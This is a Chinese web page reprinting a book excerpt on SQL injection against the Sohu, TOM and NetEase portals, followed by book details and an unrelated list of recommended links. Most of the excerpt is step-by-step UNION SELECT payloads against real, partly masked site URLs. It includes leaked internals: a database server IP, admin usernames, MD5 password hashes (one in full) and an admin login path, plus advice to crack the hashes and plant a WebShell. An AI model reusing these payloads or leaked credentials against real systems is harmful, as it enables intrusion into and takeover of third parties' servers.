对搜狐、网易和TOM三大门户网站的SQL注入漏洞检测

本文节选自《大中型网络入侵要案直击与防御》一书

此外,笔者对搜狐及TOM和网易这三大门户网站作了注入攻击检测,发现同样存在明显的注入漏洞,安全性很糟糕。

1.MySQL注入检测搜狐门户网站

首先,来看看搜狐网站,搜狐网站上的动态网页大部分是采用PHP语言编写的,同样注入也很多。例如:

http://app.sh.sohu.com/lo***l/s.php?id=636

这个网页是一个欧莱雅广告页面,未对提交的数字参数进行检测,可直接利用SQL注入获得当前数据版本、库名、用户等信息。首先,通过Order by查询获得字段数目为9,然后通过union select查询可获得数据库的各种信息(图241):

http://app.sh.sohu.com/lo***l/s.php?id=636 and 1=2 union select 1,2,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9

图241 搜狐网站SQL注入查询数据库信息

可得到当前数据库用户名为admin,数据库服务器地址为10.10.82.159,数据库版本为Mysql 5.0.27,当前数据库名为sohush。

再进一步检测,发现其中存在几个非常重要的数据库,包括:dvbbs、love008。前者是论坛数据库,后者是2008专题数据库。在论坛数据库中,可猜解出管理员账号和密码为:jim、4591b******ee2b5。在love008数据库中猜解出两个管理员用户和密码分别为(图242):

admin 21232f297a*****743894a0e4a801fc3

es 3e4a632cb*****8fc2386fa5f8e4bd76

图242 猜解出管理员账号与密码

虽然说管理员密码都是MD5加密的,不过现在网上有20G的彩虹表下载,破解这些普通密码MD5值并不是太困难的事情。通过后台登陆,攻击者可以想方设法上传WebShell并进行提权与进一步渗透入侵操作。

此外,在搜狐网站中还有非常多的SQL注入点,举例如下:

注入点1(图243):http://card.money.****.com/yh/card_product.php?id=71

注入点2:http://blog.club.****.com/list_diary_detail.php?artid=43761&db=blog002P4&kindid=3403

注入点3:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529

注入点4:http://mini***.163.com/2009/0909/wuliangye/article.php?id=13

注入点5:http://blog.club.****.com/list_diary.php?db=blog001P3&kindid=529

注入点6:http://people.business.****.com/person/plist.php?userid=2047

注入点7:http://minisite.it.****.com/minisite/site849/photodetail1.jsp?corpID=849&status=browse&privCode=04&pictureID=57275

注入点8:http://zj.svip.****.com/news/2010/duanxindasai/item_list.php?category_id=1905

图243 搜狐注入点查询数据库信息

2.MySQL注入检测TOM门户网站

TOM也是国内一大门户网站,在对TOM门户网站进行检测的过程中,也发现了许多严重的SQL注入漏洞,而且危害性非常大,直接导致攻击者登陆后台上传木马获得WebShell,并进一步控制整个网站服务器!

TOM网站的注入点地址为:

http://qd**.tom.com/blog_content.php?blogid=482

直接用Order by进行查询时,会出错并跳转到网站首页,可使用--终止符号进行隔断处理,执行如下查询:

http://qd**.tom.com/blog_content.php?blogid=482 order by 14--

返回正常页面,得到字段数为14。再执行如下查询(图244):

http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,group_concat(user(),0x7C7C,version(),0x7C7C,database()),4,5,6,7,8,9,10,11,12,13,14%20--

图244 union联合查询获得数据库相关信息

得到当前数据库版本、数据库名和用户。再爆出当前数据库中的所有表名,提交如下查询:

http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(table_name),5,6,7,8,9,10,11,12,13,14 from information_schema.tables where table_schema=database()--

图245 查询到所有表名

在页面返回信息中,即可得到所有表名(图245)。在其中有名为adminuser的表名,表中很可能包含了管理员账号及密码,查询该表中的列名,可提交如下查询:

http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7,8,9,10,11,12,13,14 from information_schema.columns where table_name=(0x61646D696E75736572)--

图246 返回用户名及密码数据列

从页面返回信息中,可以看到用户名及密码列为username和pw(图246)。现在要爆出用户名和密码的数据值,提交如下查询语句:

http://qd**.tom.com/blog_content.php?blogid=482 and 1=2 union select 1,2,3,4,group_concat(username,0x7C,pw),5,6,7,8,9,10,11,12,13,14 from adminuser--

图247 获得管理员账号密码信息

从返回的页面信息中,可看到管理员用户名为qdjxlq,密码为3631137b9b0e47608c4ece9decc9a607(图247)。密码是经过MD5加密的32密文,破解并不是很困难。得到后台管理员账号密码后,再寻找后台登陆地址,得到后台登陆链接地址为(图248):

http://qd**.tom.com/admin/admin_login.php

图248 管理员后台登陆页面

登陆后台获得WebShell后,就可以进一步入侵控制服务器并进行渗透攻击。

3.MySQL注入检测网易门户网站

在对国内其它门户网站进行检测时发现,有许多网站也同样存在着SQL注入漏洞,例如在网易中存在如下注入点链接地址:

http://min****e.163.com/2009/0909/wuliangye/article.php?id=13

通过order by查询可得到字段数,再通过提交如下查询:

http://min****e.163.com/2009/0909/wuliangye/article.php?id=13%20and%201=2%20union%20select%201,database(),user(),version(),5,6,7,8

即可得到数据库版本、用户名和数据库名信息(图249)。由于数据库为Mysql 4.0版本,因此不能直接爆出数据表名,只有靠字典一个个进行猜解,猜解起来比较麻烦。

图249 网易注入点猜解示例

书名:大中型网络入侵要案直击与防御

作者:肖遥 编著

ISBN 978-7-121-11740-4

出版日期:2010年10

定价:79.00

开本:16

页码:624

作者简介

肖遥,网名“冰河洗剑”,国内著名网络安全技术独立研究人士。

曾从事国防军工设计,参与过J10A、J11B等战斗机配套武器研制,独立开发出HF25火箭发射器,参与DF8GA及导弹发射架等武器设计。

潜心钻研网络安全技术10余年,长期担任国内多家著名网站的安全顾问,专业从事网络渗透测试与网络风险评估。

长年在《黑客X档案》、《黑客防线》等国内安全专业媒体上与同行分享最新研究成果。出版有《网络渗透攻击与安防修炼》、《网站入侵与脚本安全攻防修炼》、《黑客大曝光》、《黑客攻防大揭秘》等多部安全类畅销技术专著。其中,《网站入侵与脚本安全攻防修炼》一书已输出至中国台湾等地。

本书以解析各种网络环境下攻防案例的形式来讲解各种网络攻击与防护技术,从“黑客攻击”与“安全工作者防守”双向角度来进行介绍。每一章节的内容按照如下脉络展开:典型攻防案例再现→案例的简单分析→黑客攻击技术的系统讲解→网管安全防护解决方案→入侵手法与防护难点深度分析。全书真实呈现完整的攻击与防护事件,可让读者了解到攻击者如何选择攻击目标,如何制订攻击方案,如何绕过攻击中碰到的问题,网管通常采用哪些防护手法,安全漏洞在何处,网管又如何追踪攻击者,等等,因此对学习者和工作者来说都很有吸引力和参考价值。

本书是网络管理员、信息安全管理员、对网络安全感兴趣的人员必备的参考书,也可供大中院校或培训学校教师和学生阅读和参考。

对搜狐、网易和TOM三大门户网站的SQL注入漏洞检测相关推荐

  1. 对搜狐 网易和TOM三大门户网站的SQL注入漏洞检测

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 对搜狐. ...

  2. 新浪搜狐网易等那些老牌互联网公司 现在都怎样了?

    新浪搜狐网易等那些老牌互联网公司 现在都怎样了? 王利阳 11月14日 08:27 新浪 搜狐 网易 分类 :互联网 阅读:26541 评论:2 对互联网企业来说,十年可以改变很多,可以改变人们的上网 ...

  3. 56腾讯搜狐优酷视频,utubu 视频去重去水印去logo字幕工具 搜狐网易爱拍b站视频,今日头条视频...

    趣头条自媒体视频,头条号视频重复修改md5批量自动去水印加水印软件 大鱼号自媒体视频,搬运视频修改md5去水印去logo字幕工具 搜狐自媒体视频,头条号视频重复修改md5批量自动去水印加水印软件 搜狐 ...

  4. 武汉本地三大门户网站的分析和比较!

    不多说先上图,首先当然是ALEXA. 接下来是三个主要的搜索引擎的收入情况   PR就不贴图了都是 7 . 我们在看一下他们的关键词优化的情况 还是先看www.cnhan.com <title& ...

  5. 我是怎样通过博客进入搜狐的

    程华,搜狐公司前端开发工程师.03年~07年就读于天津理工大学电子信息工程专业, 04年底加入天津理工大学的6green网络工作室,06年~07年初任6green网站站长,07年4月进入搜狐公司工作. ...

  6. 中国门户网站现状和未来

    一.新浪和搜狐的比较 1.定位 图表 1 新浪和搜狐定位比较 新浪[/b] 搜狐[/b] 新浪(NASDAQ: SINA)是一家服务于中国及全球华人社群的领先在线媒体及增值资讯服务提供商[/b],注册 ...

  7. 门户网站建设有哪些类型?

    门户网站是当下比较流行的网站,有很多企业都开始着手建设属于自己的门户网站,但是门户网站包含了很多类型,为了让大家更好的了解门户网站,七猫网络给大家总结门户网站建设的几种类型给大家参考: 门户网站建设类 ...

  8. 从子域名看百度,新浪,搜狐,QQ和网易

    从二级域名看百度,新浪,搜狐,QQ和网易 本来想写一篇关于百度产品的分析,写了一半发现题目太大,写不下去了.干脆自己八卦一下. 网易的子域名:108 个: QQ的子域名:102 个: 新浪子域名:86 ...

  9. 手机搜狐概念版 html,搜狐领跑四大门户 首推H5技术手机概念版

    html5趋势之风几起几落,由于Native App与Web App两条路线相争,对于许多第三方应用开发者来说,对html5有些犹豫不决.但从现在的发展看来,新闻门户的html5化是毫无悬念的.这一次 ...

  10. 袁绍困局与张朝阳的雄心——类微博的狐友能让搜狐重回主战场吗

    文 |顾旭光 来源 | 螳螂财经(ID:TanglangFin) 55岁已近耳顺之年的张朝阳,带着狐友APP来到早已过度饱和的社交领域,奋力支撑的样子,像极了官渡之战后的袁绍. 一. 一路顺遂的搜狐朝 ...

最新文章

  1. BZOJ 3132 上帝造题的七分钟(二维树状数组)
  2. 准备换工作了,有2家公司都有吸引的地方,帮忙抉择下
  3. SharePoint 2007 如果在计算列中使用Today变量
  4. CentOS 6.2安装
  5. php try catch
  6. 【windows】windows允许 ICMP协议(允许ping)
  7. Linux 系统的运行级别(runlevel)
  8. RTT线程管理篇——RTT什么时候调度
  9. 跨考武汉大学计算机专业,武汉大学计算机专业考研心得_跨考网
  10. Mikrotik ROS软路由设置上网方式(三)
  11. Excel VB脚本,下拉框多选
  12. 用“江湖兵器排行榜”前10的语言输出hello world,你会几种?顺便拜拜祖师爷!
  13. 真正的数字化,是CEO决策的底层逻辑要变了
  14. 函数重载导致的二义性
  15. Excel把一个工作表根据条件拆分成多个工作表
  16. localbus总线
  17. java读pdf一行_java 用itext解析一个pdf文件, 一行数据为一个对象,怎么解析
  18. 热风枪858 不升温问题处理
  19. 详细讲解如何映射网络驱动器
  20. 用python打包exe应用程序-PyInstaller

热门文章

  1. Django学习笔记7
  2. Lodop设置打印维护返回打印语句代码
  3. DbVisualizer的Driver连接Oracle Thin选项不可选
  4. [IC]Lithograph(1)光刻技术分析与展望
  5. hdu 1671 Phone List (字典树)
  6. 使用Nexus3搭建Maven私服+上传第三方jar包到本地maven仓库
  7. 格符\b的使用示例:每隔1秒消去1个字符
  8. python学习笔记 day33 ftp大作业(未完成)
  9. Android使用Sugar ORM创建数据库报no such table:...的解决方法
  10. javascript多重继承